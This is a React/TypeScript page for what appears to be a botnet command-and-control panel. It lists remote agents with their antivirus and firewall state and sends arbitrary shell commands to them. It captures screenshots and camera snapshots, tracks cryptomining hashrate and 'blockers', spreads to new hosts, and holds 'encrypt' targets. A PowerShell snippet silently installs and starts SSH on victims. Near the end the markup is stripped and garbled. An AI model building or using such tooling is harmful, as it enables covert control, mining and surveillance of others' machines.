import { useState, useRef, useEffect, useCallback, useMemo } from 'react'; import { useSearchParams } from 'react-router-dom'; import { useWebSocket } from '../hooks/useWebSocket'; import { api } from '../api/client'; import type { Agent, AgentService } from '../types'; import type { FleetSpreadToHostResponse, ReconDeployKitResponse } from '../types/recon'; import NeonCard from '../components/NeonCard/NeonCard'; import LatencyBadge from '../components/Fleet/LatencyBadge'; import CreateGroupModal from '../components/Fleet/CreateGroupModal'; import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip'; import FleetToolbar from '../components/Fleet/FleetToolbar'; import CrucibleAgentMeta from '../components/Fleet/CrucibleAgentMeta'; import { DEFAULT_FLEET_FILTERS, filterFleetAgents, formatHashrate, type FleetFilterState, } from '../help/fleetFilters'; import { useFleetBulkActions } from '../hooks/useFleetBulkActions'; import { primaryGroupForAgent } from '../help/fleetGroups'; import { useFleetGroups } from '../hooks/useFleetGroups'; import { useMatrixRain } from '../context/MatrixRainContext'; import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck'; import type { WSCommandResult } from '../types/ws'; import { sanitizeScreenshotBase64 } from '../help/screenshotDownload'; import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel'; import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps'; import AccessDepthPanel from '../components/Fleet/AccessDepthPanel'; import LotlAttemptsList from '../components/Fleet/LotlAttemptsList'; import LotlTierBadge from '../components/Fleet/LotlTierBadge'; import RiskBadge from '../components/Fleet/RiskBadge'; import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap'; import { parseTierReport } from '../types/lotl'; import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth'; import { platformIcon } from '../help/platform'; import AlsoHere from '../components/Presence/AlsoHere'; import { HelpTip } from '../components/HelpTip'; import '../components/Fleet/FullSysCheckPanel.css'; import '../components/Fleet/FleetToolbar.css'; import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap'; import './CruciblePage.css'; // ── Types ────────────────────────────────────────────────────────────────── type ShellType = 'powershell' | 'exec' | 'sh'; interface TermLine { id: string; agentId: string; agentName: string; isCmd: boolean; text: string; ts: Date; success?: boolean; // Whether this agent was in the active selection when the command was dispatched targeted?: boolean; // Structured data for rich terminal renderers richData?: RichTermData; } // ── Rich terminal data types ──────────────────────────────────────────────── interface RichListenPort { port: number; addr: string; proto: string; process?: string; pid?: number; } interface RichListenPorts { type: 'listen_ports'; ports: RichListenPort[]; count: number; } interface RichPatchStatus { type: 'patch_status'; pending_updates?: number; last_patch?: string; last_patch_days?: number; reboot_pending?: boolean; } interface RichPostureSummary { type: 'posture'; posture_score?: number; defender_enabled?: boolean; defender_rtp?: boolean; av_products?: string[]; firewall_domain?: boolean; firewall_private?: boolean; firewall_public?: boolean; ssh_listening?: boolean; agent_elevated?: boolean; last_patch_days?: number; pending_updates?: number; reboot_pending?: boolean; services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>; } interface RichScreenshot { type: 'screenshot'; b64: string; } interface RichFullSysCheck { type: 'full_sys_check'; report: FullSysCheckReport; } interface RichMiningDiagnostics { type: 'mining_diagnostics'; generated_at?: string; active_method?: string; execution_mode?: string; likely_blockers: string[]; av_recommendation?: string; lotl_tier?: string; lotl_attempts?: import('../types/lotl').TierAttempt[]; mining_hashrate?: number; } type RichTermData = | RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck | RichMiningDiagnostics; // ── Helpers ──────────────────────────────────────────────────────────────── const AGENT_COLORS = [ '#00e8f5', '#39ff14', '#ff2da6', '#b24bf3', '#ffb020', '#ff6b35', '#00d4aa', '#f72585', '#7209b7', '#3a86ff', '#06d6a0', '#ffd60a', ]; export function agentColor(agentId: string, allIds: string[], groupColor?: string): string { if (groupColor) return groupColor; const idx = allIds.indexOf(agentId); return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00e8f5'; } export function sshBadge(agent: Agent) { if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' }; if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' }; return { label: 'SSH ?', cls: 'ssh-unk' }; } export function postureBadge(score?: number) { if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' }; if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' }; if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' }; return { label: `POSTURE ${score}`, cls: 'posture-bad' }; } export function patchLabel(days?: number) { if (days === undefined) return null; return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' }; } export function portsBadge(count?: number): { label: string; cls: string } | null { if (count === undefined) return null; return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' }; } export function postureTooltip(agent: Agent): string { const lines: string[] = []; const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?'; const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?'; lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`); if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`); lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`); lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`); if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`); lines.push('──────────────────────'); // Patch exposure if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`); else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`); if (agent.pending_updates !== undefined) { const u = agent.pending_updates; lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u} ⚠`}`); } if (agent.reboot_pending !== undefined) { lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`); } // DNS config if (agent.dns_servers?.length) { lines.push('──────────────────────'); lines.push(`DNS (T1016): ${agent.dns_servers.join(', ')}`); if (agent.dns_search_domains?.length) lines.push(`Search: ${agent.dns_search_domains.join(', ')}`); if (agent.dns_drifted) lines.push('⚠ DNS changed since last heartbeat!'); } // Resource pressure const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null; if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) { lines.push('──────────────────────'); if (tempLabel) lines.push(`Temp: ${tempLabel}${agent.cpu_throttle ? ' THROTTLED' : ''}`); if (agent.disk_free_pct !== undefined) { lines.push(`Disk: ${agent.disk_free_gb?.toFixed(1) ?? '?'} GB free (${agent.disk_free_pct}% of ${agent.disk_total_gb?.toFixed(0) ?? '?'} GB)`); } if (agent.cpu_freq_mhz && agent.cpu_max_mhz) { lines.push(`CPU freq: ${agent.cpu_freq_mhz} / ${agent.cpu_max_mhz} MHz`); } if (agent.gpu_usage_pct !== undefined) lines.push(`GPU util: ${agent.gpu_usage_pct}%`); } if (agent.services?.length) { lines.push('──────────────────────'); lines.push('Services (T1007):'); for (const svc of agent.services) { const icon = svc.status === 'running' ? '●' : svc.status === 'stopped' ? '○' : '—'; const st = svc.start_type !== 'unknown' ? ` [${svc.start_type}]` : ''; lines.push(` ${icon} ${svc.display_name ?? svc.name}${st}`); } } return lines.join('\n'); } export function pendingBadge(agent: Agent): { label: string; cls: string } | null { const u = agent.pending_updates; if (u === undefined) return null; if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' }; if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' }; if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' }; return { label: `${u} UPD`, cls: 'upd-bad' }; } function rebootBadge(agent: Agent): { label: string; cls: string } | null { if (agent.reboot_pending === undefined) return null; if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' }; return null; } // ── Resource pressure badges ─────────────────────────────────────────────── export function thermalBadge(agent: Agent): { label: string; cls: string } | null { const t = agent.gpu_temp_c ?? agent.cpu_temp_c; if (t === undefined) return null; if (t > 80) return { label: `${t}°`, cls: 'therm-hot' }; if (t > 65) return { label: `${t}°`, cls: 'therm-warm' }; return null; // cool enough — no badge clutter } function diskBadge(agent: Agent): { label: string; cls: string } | null { const pct = agent.disk_free_pct; if (pct === undefined) return null; if (pct < 5) return { label: `DISK ${pct}%`, cls: 'disk-crit' }; if (pct < 15) return { label: `DISK ${pct}%`, cls: 'disk-warn' }; return null; // plenty of space — no badge } function throttleBadge(agent: Agent): { label: string; cls: string } | null { if (!agent.cpu_throttle) return null; const pct = agent.cpu_freq_mhz && agent.cpu_max_mhz ? Math.round(agent.cpu_freq_mhz / agent.cpu_max_mhz * 100) : null; const label = pct !== null ? `THRTTL ${pct}%` : 'THRTTL'; return { label, cls: 'therm-warm' }; } // ── DNS helpers (T1016) ──────────────────────────────────────────────────── function dnsBadge(agent: Agent): { label: string; cls: string } | null { if (agent.dns_drifted) return { label: 'DNS DRIFT', cls: 'dns-drift' }; return null; } /** Contingency onion depth — Fleet AI Control single-host branch tree. */ export function contingencyDepthBadge(agent: Agent): { label: string; cls: string } | null { const depth = agent.contingency_depth ?? 0; if (depth <= 0) return null; return { label: `ONION ${depth}`, cls: depth >= 8 ? 'cn-contingency-deep' : 'cn-contingency' }; } /** AWS VPC seeder election — one primary seeder per vpc-id (or /24 fallback). */ export function vpcSeederBadge(agent: Agent): { label: string; cls: string } | null { if (!agent.cloud_vpc_id?.trim()) return null; if (agent.vpc_primary_seeder) return { label: 'VPC seeder', cls: 'cn-vpc-seeder' }; if (agent.fleet_role === 'seeder') return { label: 'VPC leecher', cls: 'cn-vpc-leecher' }; return null; } // ── Service helpers (T1007) ──────────────────────────────────────────────── // Human-readable label for well-known service names const SVC_LABELS: Record = { sshd: 'SSH', ssh: 'SSH', 'openssh ssh server': 'SSH', cloudflared: 'CF Tunnel', wuauserv: 'WU', windefend: 'Defender', ufw: 'UFW', fail2ban: 'Fail2Ban', }; function svcLabel(svc: AgentService): string { return SVC_LABELS[svc.name.toLowerCase()] ?? svc.display_name ?? svc.name; } function svcDot(status: string): string { if (status === 'running') return '●'; if (status === 'stopped') return '○'; return '—'; } function svcDotClass(status: string): string { if (status === 'running') return 'svc-run'; if (status === 'stopped') return 'svc-stop'; return 'svc-unk'; } // Only surface services that are interesting to show (skip self-service clutter) const IMPORTANT_SVCS = new Set(['sshd', 'ssh', 'openssh ssh server', 'cloudflared', 'wuauserv', 'windefend']); function importantServices(svcs: AgentService[]): AgentService[] { return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running'); } let _lineId = 0; function mkId() { return `tl-${++_lineId}`; } // ── Wake SSH commands ────────────────────────────────────────────────────── const WAKE_SSH_PS = ` $ErrorActionPreference='SilentlyContinue' $cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0} Set-Service -Name sshd -StartupType Automatic Start-Service sshd $ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress "SSH_WAKE_OK ip=$ip port=22" `.trim(); const PROBE_SSH_PS = ` $s=Get-Service sshd -ErrorAction SilentlyContinue if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'} `.trim(); const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`; /** Roster page size — avoids rendering 500+ node cards at once. */ const ROSTER_PAGE_SIZE = 80; // ── Component ────────────────────────────────────────────────────────────── function agentMatchesReconHost(agent: Agent, host: string): boolean { const needle = host.trim().toLowerCase(); if (!needle) return false; const ip = (agent.ip ?? '').trim().toLowerCase(); const name = agent.name.trim().toLowerCase(); const hostname = (agent.hostname ?? '').trim().toLowerCase(); return ip === needle || name === needle || hostname === needle; } export default function CruciblePage() { const { agents, commandResults, latestMessage } = useWebSocket(); const { setCrucibleFocus } = useMatrixRain(); const [searchParams] = useSearchParams(); const reconHostParam = searchParams.get('reconHost')?.trim() || searchParams.get('spread_host')?.trim() || ''; const reconFindingParam = searchParams.get('finding')?.trim() || ''; // Selection const [selectedIds, setSelectedIds] = useState>(new Set()); const [filters, setFilters] = useState(DEFAULT_FLEET_FILTERS); const [showGroupModal, setShowGroupModal] = useState(false); const { groups, addGroup, removeGroup } = useFleetGroups(); const { bulkBusy, handleBulkAction } = useFleetBulkActions({ agents, selectedIds, commandResults, }); // Terminal const [termLines, setTermLines] = useState([]); const [cmd, setCmd] = useState(''); const [shellType, setShellType] = useState('powershell'); const [busy, setBusy] = useState(false); const termEndRef = useRef(null); const cmdRef = useRef(null); const lastSeqRef = useRef(0); const lastLatestCmdRef = useRef(null); // Command history const [cmdHistory, setCmdHistory] = useState([]); const [histIdx, setHistIdx] = useState(-1); const [tunnelStatusMsg, setTunnelStatusMsg] = useState(''); const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops'); const [rosterPage, setRosterPage] = useState(0); const [manualSpreadHost, setManualSpreadHost] = useState(''); const [deployKit, setDeployKit] = useState(null); const [spreadToHostResult, setSpreadToHostResult] = useState(null); const [reconSpreadBusy, setReconSpreadBusy] = useState(false); const [reconSpreadMsg, setReconSpreadMsg] = useState(''); useEffect(() => { if (searchParams.get('tab') === 'spread') setActiveTab('spread'); }, [searchParams]); // SSH / posture overrides (from on-demand probes) const [sshOverride, setSshOverride] = useState>({}); const [postureOverride, setPostureOverride] = useState>({}); const [accessDepthByAgent, setAccessDepthByAgent] = useState>({}); const allIds = useMemo(() => agents.map((a) => a.id), [agents]); const sortedAgents = useMemo(() => [...agents].sort((a, b) => { if (a.status === 'online' && b.status !== 'online') return -1; if (a.status !== 'online' && b.status === 'online') return 1; const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0; const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0; if (tb !== ta) return tb - ta; return a.name.localeCompare(b.name); }), [agents]); const filteredAgents = useMemo( () => filterFleetAgents(sortedAgents, filters), [sortedAgents, filters], ); const rosterPageCount = Math.max(1, Math.ceil(filteredAgents.length / ROSTER_PAGE_SIZE)); const rosterPageSafe = Math.min(rosterPage, rosterPageCount - 1); const rosterSlice = useMemo(() => { const start = rosterPageSafe * ROSTER_PAGE_SIZE; return filteredAgents.slice(start, start + ROSTER_PAGE_SIZE); }, [filteredAgents, rosterPageSafe]); useEffect(() => { setRosterPage(0); }, [filters]); const reconHost = manualSpreadHost.trim() || reconHostParam; const reconMatchedAgents = useMemo( () => (reconHost ? agents.filter((a) => agentMatchesReconHost(a, reconHost)) : []), [agents, reconHost], ); const reconReachableAgent = useMemo( () => reconMatchedAgents.find((a) => a.status === 'online') ?? null, [reconMatchedAgents], ); const reconHostUnreachable = Boolean(reconHost) && !reconReachableAgent; useEffect(() => { const tab = searchParams.get('tab'); if (tab === 'spread' || tab === 'recon' || tab === 'ops' || tab === 'files' || tab === 'tunnels') { setActiveTab(tab); } }, [searchParams]); useEffect(() => { if (!reconHostParam) return; setManualSpreadHost(reconHostParam); if (searchParams.get('tab') === 'spread') { setActiveTab('spread'); } }, [reconHostParam, searchParams]); useEffect(() => { if (!reconHost) { setDeployKit(null); return; } let cancelled = false; api .getReconDeployKit({ host: reconHost, finding: reconFindingParam || undefined }) .then((kit) => { if (!cancelled) setDeployKit(kit); }) .catch(() => { if (!cancelled) setDeployKit(null); }); return () => { cancelled = true; }; }, [reconHost, reconFindingParam]); useEffect(() => { if (!reconHost || reconMatchedAgents.length === 0) return; const pick = reconReachableAgent ?? [...reconMatchedAgents].sort((a, b) => { if (a.status === 'online' && b.status !== 'online') return -1; if (a.status !== 'online' && b.status === 'online') return 1; return 0; })[0]; if (pick) { setSelectedIds(new Set([pick.id])); if (searchParams.get('tab') === 'spread') setActiveTab('spread'); } }, [reconHost, reconMatchedAgents, reconReachableAgent, searchParams]); const runSpreadToUnreachableHost = useCallback(async () => { const host = manualSpreadHost.trim() || reconHostParam; if (!host) return; setReconSpreadBusy(true); setReconSpreadMsg(''); setSpreadToHostResult(null); try { const res = await api.postFleetSpreadToHost({ host, finding: reconFindingParam || deployKit?.join_lane || undefined, }); setSpreadToHostResult(res); setReconSpreadMsg( res.queued ? `Queued discover_and_join from ${res.seed_agent_name ?? res.seed_agent_id ?? 'seed agent'}.` : (res.operator_note ?? 'Spread recommendation ready — see operator note.'), ); if (res.seed_agent_id) { setSelectedIds(new Set([res.seed_agent_id])); setActiveTab('spread'); } } catch (e) { setReconSpreadMsg(e instanceof Error ? e.message : 'Spread-to-host failed'); } finally { setReconSpreadBusy(false); } }, [manualSpreadHost, reconHostParam, reconFindingParam, deployKit?.join_lane]); const selectedAgents = useMemo( () => agents.filter((a) => selectedIds.has(a.id)), [agents, selectedIds] ); const online = (a: Agent) => a.status === 'online'; const fmCommandResults = useMemo( () => commandResults ?.filter((r) => r.agent_id && r.action != null) .map((r) => ({ agentId: r.agent_id as string, action: r.action as string, success: !!r.success, message: r.message ?? '', })) ?? [], [commandResults] ); const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null; const encryptTargets = useMemo( () => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })), [selectedAgents] ); const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null; const { visible: visibleTermLines, truncated: termTruncated, hidden: termHidden } = useMemo( () => visibleTerminalLines(termLines), [termLines], ); const dispatchTunnelCommand = useCallback( async (action: string, args?: Record) => { if (!singleSelectedAgent) return; await api.sendAgentCommand(singleSelectedAgent.id, action, args); setTermLines((prev) => [ ...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `${action} → ${singleSelectedAgent.name}`, ts: new Date(), }, ]); }, [singleSelectedAgent] ); const appendTerminalLine = useCallback((text: string, isCmd = false) => { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd, text, ts: new Date(), targeted: true, }, ].slice(-2000)); }, []); /** One online target selected — sidebar matrix switches to gold forge-style rain. */ const crucibleTargetReady = selectedAgents.filter(online).length === 1 && selectedIds.size === 1; useEffect(() => { setCrucibleFocus(crucibleTargetReady); return () => setCrucibleFocus(false); }, [crucibleTargetReady, setCrucibleFocus]); // Prune selectedIds when agents are removed (e.g. after roster delete). useEffect(() => { const liveIds = new Set(agents.map((a) => a.id)); setSelectedIds((prev) => { const pruned = new Set([...prev].filter((id) => liveIds.has(id))); return pruned.size === prev.size ? prev : pruned; }); }, [agents]); // ── Auto-scroll terminal ─────────────────────────────────────────────── useEffect(() => { const id = requestAnimationFrame(() => { termEndRef.current?.scrollIntoView({ behavior: 'auto', block: 'end' }); }); return () => cancelAnimationFrame(id); }, [termLines.length]); // ── Process incoming command_result messages ─────────────────────────── useEffect(() => { if (!commandResults || commandResults.length === 0) return; const newEntries = commandResults.filter( (r) => typeof r._seq === 'number' && r._seq > lastSeqRef.current, ); if (newEntries.length === 0) return; const lines: TermLine[] = []; let maxSeq = lastSeqRef.current; for (const r of newEntries) { if (typeof r._seq === 'number') { maxSeq = Math.max(maxSeq, r._seq); } const aid = r.agent_id; if (!aid) continue; const msg = r.message ?? ''; if (r.action === 'tunnel_status' && r.success && msg) { if (selectedIds.size === 1 && selectedIds.has(aid)) { setTunnelStatusMsg(msg); } } // ── SSH badge updates ─────────────────────────────────────────────── if (msg.includes('SSH_PROBE:ONLINE')) { setSshOverride((prev) => ({ ...prev, [aid]: true })); } else if (msg.includes('SSH_PROBE:OFFLINE')) { setSshOverride((prev) => ({ ...prev, [aid]: false })); } // ── Parse structured JSON for known actions ──────────────────────── let richData: RichTermData | undefined; // Screenshot: result is a raw base64 PNG string (no JSON wrapper) if ((r.action === 'screenshot' || r.action === 'camera_snapshot') && r.success) { const cleanB64 = sanitizeScreenshotBase64(msg); if (cleanB64) { richData = { type: 'screenshot', b64: cleanB64 }; } } const jsonStart = msg.indexOf('{'); if (jsonStart >= 0) { try { const parsed = JSON.parse(msg.slice(jsonStart)); if (r.action === 'listen_ports' && Array.isArray(parsed.ports)) { richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length }; } else if (r.action === 'patch_status') { richData = { type: 'patch_status', ...parsed }; } else if (r.action === 'full_sys_check' && parsed.generated_at) { richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport }; } else if (r.action === 'posture' && typeof parsed.posture_score === 'number') { richData = { type: 'posture', ...parsed }; // Update badge state setPostureOverride((prev) => ({ ...prev, [aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days }, })); if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true })); if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false })); } else if (r.action === 'mining_diagnostics') { const blockers = parsed.likely_blockers ?? parsed.blockers; const tierFields = parseTierReport(parsed as Record); const depthDiag = parseAccessDepthDiagnostics(parsed as Record); setAccessDepthByAgent((prev) => ({ ...prev, [aid]: depthDiag })); if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) { richData = { type: 'mining_diagnostics', generated_at: parsed.generated_at, active_method: parsed.active_method, execution_mode: parsed.execution_mode, likely_blockers: Array.isArray(blockers) ? blockers.filter((b: unknown) => typeof b === 'string') : [], av_recommendation: parsed.av_recommendation, lotl_tier: tierFields.lotl_tier, lotl_attempts: tierFields.lotl_attempts, mining_hashrate: tierFields.mining_hashrate, }; } } else { // Generic JSON with posture fields (legacy path) if (typeof parsed.posture_score === 'number') { setPostureOverride((prev) => ({ ...prev, [aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days }, })); } if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true })); if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false })); } } catch { /* malformed JSON — fall through to plain text */ } } const agent = agents.find((a) => a.id === aid); const name = agent?.name ?? aid.slice(0, 8); const targeted = selectedIds.size === 0 || selectedIds.has(aid); if (richData) { lines.push({ id: mkId(), agentId: aid, agentName: name, isCmd: false, text: '', ts: new Date(), success: r.success, richData, targeted, }); } else { const msgLines = msg.split('\n').filter(Boolean); if (msgLines.length === 0) { const label = r.action ? `[${r.action}]` : '[result]'; msgLines.push(r.success ? `${label} OK` : `${label} FAILED`); } for (const line of msgLines) { lines.push({ id: mkId(), agentId: aid, agentName: name, isCmd: false, text: line, ts: new Date(), success: r.success, targeted, }); } } } lastSeqRef.current = maxSeq; if (lines.length > 0) { setTermLines((prev) => [...prev, ...lines].slice(-2000)); } // eslint-disable-next-line react-hooks/exhaustive-deps }, [commandResults]); // Backup path: if commandResults batching ever misses an entry, latestMessage // still carries command_result (WS_LATEST_MESSAGE_TYPES includes it). useEffect(() => { if (!latestMessage || latestMessage.type !== 'command_result') return; if (latestMessage === lastLatestCmdRef.current) return; lastLatestCmdRef.current = latestMessage; let r = latestMessage.payload as WSCommandResult | string; if (typeof r === 'string') { try { r = JSON.parse(r) as WSCommandResult; } catch { return; } } const aid = r.agent_id; if (!aid) return; // commandResults effect owns entries already queued in the provider buffer if ( commandResults?.some( (c) => c.agent_id === aid && c.action === r.action && c.message === r.message, ) ) { return; } const msg = r.message ?? ''; const agent = agents.find((a) => a.id === aid); const name = agent?.name ?? aid.slice(0, 8); const targeted = selectedIds.size === 0 || selectedIds.has(aid); const msgLines = msg.split('\n').filter(Boolean); if (msgLines.length === 0) { const label = r.action ? `[${r.action}]` : '[result]'; msgLines.push(r.success ? `${label} OK` : `${label} FAILED`); } const lines: TermLine[] = msgLines.map((line) => ({ id: mkId(), agentId: aid, agentName: name, isCmd: false, text: line, ts: new Date(), success: r.success, targeted, })); setTermLines((prev) => [...prev, ...lines].slice(-2000)); // eslint-disable-next-line react-hooks/exhaustive-deps }, [latestMessage, commandResults]); // ── Selection helpers ────────────────────────────────────────────────── const toggle = (id: string) => setSelectedIds((prev) => { const next = new Set(prev); if (next.has(id)) next.delete(id); else next.add(id); return next; }); const selectAgent = (id: string) => setSelectedIds(new Set([id])); const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id))); const clearSel = () => setSelectedIds(new Set()); const onlineAgentIds = useMemo( () => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)), [agents] ); const activateGroup = (g: { agentIds: string[] }) => setSelectedIds(new Set(g.agentIds)); // ── Dispatch command ─────────────────────────────────────────────────── const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); if (tgts.length === 0 || !command.trim()) return; setBusy(true); // Echo command to terminal const echoLines: TermLine[] = tgts.map((a) => ({ id: mkId(), agentId: a.id, agentName: a.name, isCmd: true, text: command, ts: new Date(), })); setTermLines((prev) => [...prev, ...echoLines].slice(-2000)); setCmdHistory((h) => [command, ...h].slice(0, 50)); setHistIdx(-1); const action = shell === 'powershell' ? 'powershell' : shell === 'sh' ? 'exec' : 'exec'; await Promise.all( tgts.map(async (a) => { try { const res = await api.sendAgentCommand(a.id, action, { command }); if (res.success === false) { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] ${res.error ?? 'command rejected'}`, ts: new Date(), success: false, }, ]); } } catch (err) { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, }, ]); } }) ); setBusy(false); cmdRef.current?.focus(); }, [selectedAgents]); const sendCmd = () => { dispatch(cmd, shellType); setCmd(''); }; const probeSSH = (targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); for (const a of tgts) { const isWin = a.platform?.toLowerCase().includes('win') ?? true; const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH; const shell: ShellType = isWin ? 'powershell' : 'sh'; dispatch(probeCmd, shell, [a]); } }; const wakeSSH = (targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); for (const a of tgts) { const isWin = a.platform?.toLowerCase().includes('win') ?? true; if (isWin) { dispatch(WAKE_SSH_PS, 'powershell', [a]); } else { dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]); } } }; const probePosture = (targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); if (tgts.length === 0) { alert('No online agents selected.'); return; } Promise.all( tgts.map((a) => api.sendAgentCommand(a.id, 'posture').catch((err) => { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0, }, ]); }) ) ); }; // Fires posture + listen_ports + patch_status in parallel. // When agents are selected, targets only selection. Otherwise targets all online. const scanSelected = (targets?: Agent[]) => { const tgts = targets ?? (selectedAgents.filter(online).length > 0 ? selectedAgents.filter(online) : agents.filter(online)); if (tgts.length === 0) { alert('No online agents available.'); return; } const cmds = ['posture', 'listen_ports', 'patch_status'] as const; for (const a of tgts) { for (const cmd of cmds) { api.sendAgentCommand(a.id, cmd).catch((err) => { setTermLines((prev) => [ ...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0, }, ]); }); } } }; // Focused agent — when exactly one is selected show its details prominently. const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null; const handleKey = (e: React.KeyboardEvent) => { if (e.key === 'Enter') { sendCmd(); return; } if (e.key === 'ArrowUp') { e.preventDefault(); const next = Math.min(histIdx + 1, cmdHistory.length - 1); setHistIdx(next); setCmd(cmdHistory[next] ?? ''); } if (e.key === 'ArrowDown') { e.preventDefault(); const next = Math.max(histIdx - 1, -1); setHistIdx(next); setCmd(next < 0 ? '' : cmdHistory[next] ?? ''); } }; // ── Effective SSH status ─────────────────────────────────────────────── const sshStatus = (a: Agent) => { const override = sshOverride[a.id]; if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' }; return sshBadge({ ...a }); }; const postureStatus = (a: Agent) => { const o = postureOverride[a.id]; const score = o?.score ?? a.posture_score; const patchDays = o?.patchDays ?? a.last_patch_days; return { ...postureBadge(score), patch: patchLabel(patchDays), ports: portsBadge(a.listen_port_count), }; }; // ── Rich terminal renderers ──────────────────────────────────────────── const RichListenPortsTable = ({ d }: { d: RichListenPorts }) => (
LISTEN PORTS {d.count} listener{d.count !== 1 ? 's' : ''}
{d.ports.length === 0 ? (
No listeners found
) : ( {d.ports.map((p, i) => ( ))}
PORT ADDR PROTO PROCESS PID
{p.port} {p.addr || '*'} {p.proto.toUpperCase()} {p.process || '—'} {p.pid ?? '—'}
)}
); const RichPatchStatusBlock = ({ d }: { d: RichPatchStatus }) => (
PATCH STATUS {d.reboot_pending && REBOOT REQUIRED}
Pending Updates 0 ? 'rich-val-warn' : 'rich-val-ok'}`}> {d.pending_updates ?? 0}
Last Patch 60 ? 'rich-val-bad' : (d.last_patch_days ?? 0) > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}> {d.last_patch ?? '—'}{d.last_patch_days != null ? ` (${d.last_patch_days}d ago)` : ''}
